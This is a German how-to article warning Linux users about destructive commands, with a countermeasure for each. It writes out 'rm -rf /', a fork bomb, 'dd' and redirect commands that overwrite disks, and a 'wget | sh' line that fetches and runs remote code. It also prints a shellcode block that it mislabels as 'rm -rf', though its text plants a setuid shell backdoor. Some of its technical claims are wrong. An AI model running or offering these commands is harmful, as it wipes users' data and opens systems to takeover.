Gefährliche Befehle, Linux-Bom­ben


Inhaltsverzeichnis

Vorwort
1. rm
2. rm -rf in hexadezimal
3. Forkbomb
4. Copy und Paste
5. Device Null
6. Operatoren
7. WGET
8. dd
9. Weitere Befehle
Fazit
Quellen


Vorwort

Vorsicht, nur in virtuellen Maschinen testen! Als Testsystem hatte ich ein Ubuntu 16.04 in eine virtuelle Maschine installiert und mehrfach kopiert.


1. rm

Die bekannteste Linux-Bombe ist wohl „rm“, denn es wird oft vergessen den kompletten Pfad anzugeben, auch wenn man in einem Unterverzeichnis ist, denn dieser Befehl geht über die Wurzel. Und es ist auch hoch bezahlten Admins schon passiert.

sudo rm -rf /

Dieser Befehl löscht ohne Nachfrage rekursiv alles ab Wurzelverzeichnis. Alles heißt, alle eingehängte Laufwerke und auch alle Netzlaufwerke.
Funktioniert todsicher! Aber nicht unter dem Ubuntu, dort wird eine Warnung ausgegeben.
Gegenmaßnahme
Ein Fallstrick kann „safe-rm“ sein. Es soll vor unbeabsichtigten löschen helfen. Wer sich aber daran gewöhnt und auf einen anderen/neuen Rechner kein „safe-rm“ installiert hat, dann ist „rm“ ist seiner Gewalt nicht zu bremsen.
Ansonsten hilft auch kein beten.
Quelle
Weiteres in jedem Linux-Handbuch und jeder Unix-Befehlsreferenz.


2. rm -rf in hexadezimal

Ist genauso schädlich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Unter Ubuntu müssten dazu die Pakete release und bikeshed installiert sein. Hat bei mir unter Ubuntu nicht funktioniert.


3. Forkbomb

Rechner auslasten mit Hintergrundaktivität und damit die CPU mal richtig heiß wird und sich selbst auslötet.

:(){ :|:& };:

Funktion die definiert wird, hier „:()“, ruft sich selbst als Hintergrundaktivität auf und übergibt sich wieder neu und so weiter, also eine typische Forkbomb. Funktioniert unter Ubuntu. Bösartig, es wird am Anfang nicht gleich wahrgenommen und Systemmonitore, wie „Conky“, zeigen durch die 100% ausgelastete CPU keine Veränderungen an.
Gegenmaßnahme
Schutz gibt es, wenn die Datei „/etc/security/limits.conf“ dem entsprechend editiert wird.


4. Copy und Paste

Das Internet hilft bei vielen Gelegenheiten, aber ersetzt nicht das eigene Denken. Kopieren und Einfügen kann gefährlich sein. Hinter einer harmlosen Eingabe wie

echo "Hallo Welt!"

kann man auch

rm -rf /

verstecken.
Gegenmaßnahme
Vorsichtshalber in ein Editor einfügen, hilft aber auch nicht immer :-)


5. Device Null

Das Gerät Null ist tatsächlich entstanden um Daten, die als unwichtig gelten, in das Nichts zu senden.
Doch folgende Befehlszeile löscht das gesamte /home-Verzeichnis des angemeldetem Benutzers.

mv ~ /dev/null

In Ubuntu ist dafür keine Berechtigung vorhanden.
Gegenmaßnahme
Nachdenken, was soll eine Tilde, also das /home-Verzeichnis, mit Null zu tun haben!


6. Operatoren

Gerne nutze ich das Kommando „ls > Verzeichnis.txt“ um mir den Inhalt eines Verzeichnis als Textdatei abzulegen. Und bei Änderungen lege ich mit dem doppelten Operanden „ls >> Verzeichnis.txt“ in der selben Datei am Ende nach.

ls > /dev/sda

Wird aber dieser Befehl ausgeführt überschreibt er die genannte Festplatte mit sich selbst. Statt „ls“ könnte auch ein anderer Befehl genommen werden, die Auswirkung ist gleich, da hier der Operand den Fehler ausübt. In Ubuntu ist dafür keine Berechtigung vorhanden.
Gegenmaßnahme
Immer erst in einer virtuellen Maschine solche Kommandos prüfen.


7. WGET

Ist dieselbe Bequemlichkeit wie kopieren und einfügen. Ein Script wird im Netz zur Verfügung gestellt und nun kann man es einfach durch die Shell ausführen, mit Verhinderung von wichtigen Informationen.

wget http://webseite.com -q | sh

Nur, ob die Beschreibung des Skriptes mit dem tatsächlichem Inhalt übereinstimmt, ist hier nicht plausibel erwiesen.
Hat in meiner Ubuntu-Installation nicht funktioniert.
Gegenmaßnahme
Durch „quiet“ ist es noch nicht mal möglich die Gefahr zu bannen, zum Beispiel mit „Strg+c“.


8. dd

Dieses Kommando ist zum Kopieren gedacht. Hier ist Missbrauch möglich, um Datenträger zu überschreiben.

dd if=/dev/urandom of=/dev/sda

An diesem Beispiel werden Zufallszahlen auf die gesamte Festplatte geschrieben und somit der vorhandene Inhalt gelöscht.
Gegenmaßnahme
Da hab ich es mit Nelson -> „Haha“.


9. Weitere Befehle die vorsichtig angewendet werden sollten.

Die nachfolgenden Kommandos habe ich nicht getestet, erscheinen aber logisch.

sudo chmod 000 -R /

Rechte werden rekursiv entzogen oder keine erteilt wie man´s sieht. Daten bleiben aber erhalten.
Mit umask wären sicherlich auch solche Spielchen möglich.

touch root
sudo chattr +i root

Datei mit +i unveränderlich setzen

sudo chattr -i root

Attribut wieder entfernen


10. Fazit

Das sind wohl einige der bekanntesten Fallgruben. Trotzdem sollte bei angebotener Hilfe das eigene Denken die erste Hürde sein und ein gesundes Maß an Misstrauen, ob andere nicht auch Flüchtigkeitsfehler machen, wäre angebracht.


Quellen

Linux-Handbuch von Kofler, Gallileo-Verlag
Unix-Befehlsreferenzen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos